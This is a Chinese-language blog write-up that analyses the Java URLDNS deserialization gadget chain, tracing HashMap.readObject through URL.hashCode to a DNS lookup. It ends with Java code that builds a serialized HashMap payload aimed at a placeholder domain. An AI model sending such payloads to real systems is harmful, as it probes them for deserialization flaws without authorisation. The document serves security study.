0%

URLDNS 反序列化

URLDNS 反序列化

触发流程

利用链

1
2
3
4
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

调试分析,重点看到 HashMap#readObjectputVal 方法:
image

调用 hash() 来处理 key,看到 hash() 方法:
image

调用 key 的 hashCode() 方法,跳到 URL 类的 hashCode()
image

如果 hashCode 等于 -1 ,就会调用 handler.hashCode 方法,这里的 handler 是指 URLStreamHandler,来到 URLStreamHandler.hashCode 方法:
image

该方法对 http 协议的各个部分计算 hashCode,其中 getHostAddress 方法就是 DNS 的触发点。跟进该方法:
image

其中的 InetAddress.getByName(host) 方法对域名发起了 DNS 查询。

分析完反序列化原理,反过来推 payload.

1
2
3
4
5
6
7
8
HashMap<URL, String> hashMap = new HashMap<URL, String>();  // 创建HashMap,并在 key 处设置 URL 类
URL url = new URL("http://xxx.xx.xx"); //创建 URL 类
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //获取 URL 类的 hashCode 变量
f.setAccessible(true); //设置权限
hashMap.put(url, "1"); //放入 HashMap
f.set(url, -1); //设置 HashCode 为-1,之前的分析,如果HashCode不是-1,不会调用 handler.hashCode 重新计算 HashCode
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tmp.cer"));
oos.writeObject(hashMap); //序列化写入文件

最开始的设想是这样的,但是实际运行之后,发现会有2次 DNS 记录,分析原因是 hashMap.put(url, "1"); 这里同样会调用 putVal 方法,再走一遍上述流程,
image

所以在 put 之前也要更改 HashCode 为不是-1的值,这样就不会调用 handler.hashCode 计算 hashcode.
最后的 payload:

1
2
3
4
5
6
7
8
9
HashMap<URL, String> hashMap = new HashMap<URL, String>();  // 创建HashMap,并在 key 处设置 URL 类
URL url = new URL("http://xxx.xx.xx"); //创建 URL 类
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //获取 URL 类的 hashCode 变量
f.setAccessible(true); //设置权限
f.set(url, -122); //HashCode不是-1,不会调用 handler.hashCode 重新计算 HashCode
hashMap.put(url, "1"); //放入 HashMap
f.set(url, -1); //设置 HashCode 为-1,之前的分析,如果HashCode不是-1,不会调用 handler.hashCode 重新计算 HashCode
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tmp.cer"));
oos.writeObject(hashMap); //序列化写入文件